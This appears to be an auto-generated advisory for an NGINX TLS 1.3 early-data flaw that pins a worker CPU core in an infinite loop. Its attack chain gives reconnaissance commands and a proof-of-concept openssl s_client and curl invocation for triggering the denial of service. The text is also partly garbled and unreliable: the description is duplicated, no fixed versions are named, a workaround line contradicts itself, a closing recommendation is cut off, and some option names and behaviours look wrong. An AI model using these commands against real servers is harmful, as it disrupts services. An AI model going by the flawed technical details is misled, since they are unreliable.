CVE-2026-132779 — F5 NGINX Open Source (1.31.10) — CWE-835
When NGINX Plus or NGINX Open Source is configured to use TLS 1.3 early data using the ssl_early_data on directive, an attacker can use a specially crafted TLS 1.3 connection to drive an NGINX worker into a tight loop in which it repeatedly retries the same send without ever making progress. The worker continues accepting new connections and handling existing ones, but one CPU core is pinned at 100%. Impact: System performance can degrade until the NGINX worker process is either forced to restart or is manually restarted. This vulnerability may allow an unauthenticated attacker to cause a degradation of service that can lead to a denial-of-service (DoS) on the NGINX system. There is no control plane exposure; this is a data plane issue only. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
When NGINX Plus or NGINX Open Source is configured to use TLS 1.3 early data using the ssl_early_data on directive, an attacker can use a specially crafted TLS 1.3 connection to drive an NGINX worker into a tight loop in which it repeatedly retries the same send without ever making progress. The worker continues accepting new connections and handling existing ones, but one CPU core is pinned at 100%. Impact: System performance can degrade until the NGINX worker process is either forced to restart or is manually restarted. This vulnerability may allow an unauthenticated attacker to cause a degradation of service that can lead to a denial-of-service (DoS) on the NGINX system. There is no control plane exposure; this is a data plane issue only. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.
🎯 What is this vulnerability?
CVE‑2026‑132779 is an infinite‑loop / CPU‑exhaustion flaw (CWE‑835) that is triggered when an NGINX worker processes a TLS 1.3 connection that contains early data and the server is configured with the directive ssl_early_data on;.
During the TLS 1.3 handshake, the client may send application data before the handshake is fully finished (the “early data” feature). NGINX’s TLS 1.3 implementation attempts to forward this early data to the upstream application. In the affected versions (NGINX Open Source 1.31.10 and NGINX Plus 37.3.1.1) the code that writes the early data back to the client does not correctly detect when the socket is no longer ready for writing. As a result, the worker repeatedly calls send() with the same buffer, receives a “would‑block” or “no‑progress” return value, and loops forever without ever making progress.
The loop is confined to a single worker thread; the rest of the NGINX process continues to accept new connections and serve other requests. However, the worker that is stuck consumes 100 % of one CPU core, which can degrade overall system performance and, in a heavily loaded environment, lead to a denial‑of‑service (DoS).
Key points:
| Element | Detail |
|---|---|
| Authentication | None – the flaw is triggered by any unauthenticated client that can establish a TLS 1.3 connection. |
| Authorization | None – no privileged operation is required. |
| Input validation | The TLS 1.3 early‑data payload is not validated for size or content before being written to the socket. |
| Logic flaw | Missing check for write progress → infinite loop. |
| Impact | Availability (CPU exhaustion) – no confidentiality or integrity impact. |
| Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L |
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker could use to trigger the DoS. All commands are syntactically valid and can be executed from a Linux/Unix host with OpenSSL 1.1.1+ (or any OpenSSL that supports TLS 1.3 early data).
1. Discovery & Reconnaissance
| Step | Tool / Command | What it reveals |
|---|---|---|
| Identify NGINX | nmap -sV -p 80,443 <target> | Shows “nginx” as the service. |
| Check TLS 1.3 support | sslscan --tls13 <target> | Confirms TLS 1.3 is enabled. |
| Detect early‑data support | openssl s_client -connect <target>:443 -tls1_3 -early-data | If the connection succeeds and the server accepts early data, the ssl_early_data directive is likely enabled. |
| Version check | curl -I https://<target> → Server: nginx/1.31.10 | Confirms the vulnerable version. |
Note: The ssl_early_data directive is only meaningful if the server is configured to accept early data. If the directive is off, the attack will not succeed.2. Exploitation
The core of the exploit is a TLS 1.3 connection that sends early data. The following openssl command demonstrates a minimal PoC:
# Connect to the target, enable TLS 1.3, and send 1 KB of early data
openssl s_client -connect <target>:443 -tls1_3 -early-data -ign_eof <<EOF
GET / HTTP/1.1
Host: <target>
Connection: close
EOFExplanation of the command
-connect <target>:443– target host and port.-tls1_3– force TLS 1.3.-early-data– enable early data mode.-ign_eof– ignore premature EOF so the client stays open after the handshake.- The heredoc (
<<EOF … EOF) sends a simple HTTP request as early data. The request is not processed by the upstream application; it is simply forwarded back to the client. The NGINX worker that handles this connection will enter the infinite loop described above.
Illustrative Example – The exact HTTP request or payload is not required for the loop; any data sent as early data will trigger the bug. The above request is a minimal, syntactically valid example.
Alternative using curl
curl --tlsv1.3 --early-data https://<target> -H "Host: <target>"curl will automatically send a small amount of early data (the HTTP request headers). The same loop will be triggered.
3. Post‑Exploitation
Once the worker is stuck:
1. CPU Saturation – The worker thread consumes 100 % of one CPU core. On a multi‑core machine, the other cores may still serve traffic, but overall throughput drops dramatically.
2. Resource Exhaustion – The worker continues to accept new connections and spawn new workers for other requests, potentially exhausting file descriptors or memory if the load is high.
3. Service Degradation / DoS – In a production environment, the latency of all requests will increase, and the server may eventually become unresponsive.
No further privilege escalation or data exfiltration is possible; the impact is strictly availability.
🌍 Real World Impact
| Impact | CVSS Component | Practical Consequence |
|---|---|---|
| Availability | A:L | CPU core pinned at 100 % → degraded throughput, increased latency, potential full service outage. |
| Confidentiality | C:N | No data leakage. |
| Integrity | I:N | No data tampering. |
| Privilege Escalation | PR:N | None. |
| User Interaction | UI:N | None – the attack is fully automated. |
In high‑availability or load‑balanced environments, a single stuck worker can cause a cascading effect: other workers may be forced to handle more traffic, leading to a broader DoS. In a shared hosting scenario, the affected worker can starve other tenants of CPU time.
🛡️ Remediation & Mitigation
Affected Versions
| Product | Version(s) |
|---|---|
| NGINX Open Source | 1.31.10 |
| NGINX Plus | 37.3.1.1 |
Upgrade Recommendation
These releases contain a patch that correctly checks for write progress when handling TLS 1.3 early data.
Workarounds (if upgrade is not immediately possible)
| Workaround | How to Apply | Effectiveness |
|---|---|---|
| Disable early data | In nginx.conf: ssl_early_data off; | Prevents the loop; no early data is accepted. |
| Disable TLS 1.3 | ssl_protocols TLSv1.2 TLSv1.3; → remove TLS 1.3 | Removes the attack surface but reduces security. |
| Restrict early data to trusted IPs | Use allow/deny directives in a server block that contains ssl_early_data on; | Limits the attack to a small set of IPs. |
| Limit worker processes | Reduce worker_processes to a lower number | Reduces the number of potential stuck workers but does not eliminate the issue. |
Recommendation: The most robust mitigation is to disable ssl_early_data entirely on servers that do not need the feature. If early data is required, upgrade immediately.Detection
| Indicator | Log Pattern | Monitoring | ||
|---|---|---|---|---|
| High CPU usage on a single worker | top or htop shows a worker process at 100 % CPU | Set an alert on CPU > 90 % for > 30 s | ||
| Repeated “send() returned 0” or “send() would block” | error.log entries like send() returned 0 | Search error.log for send() errors | ||
| Unusually long request times | access.log entries with request_time > 10 s | Alert on request_time > threshold | ||
| Connection backlog | netstat -an | grep <port> | grep ESTABLISHED shows many half‑open connections | Monitor connection counts |
Sample log snippet (illustrative)
2026/11/23 12:34:56 [error] 12345#0: *6789 send() returned 0 while sending data to client 192.0.2.10:443
2026/11/23 12:34:56 [error] 12345#0: *6789 send() would block while sending data to client 192.0.2.10:443If you see a burst of such entries followed by a worker process consuming 100 % CPU, it is likely the CVE‑2026‑132779 loop.
⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS Score | 5.3 (Medium) |
| Exploit Complexity | Low (network‑only, no authentication) |
| Impact | Availability only, but can lead to full DoS in critical environments |
| CISA KEV | No |
| Patch Availability | Yes (next patch release) |
Priority Recommendation
ssl_early_data) until patching is possible. [🤖 CVE Professor AI Security Engine]
FOFA Query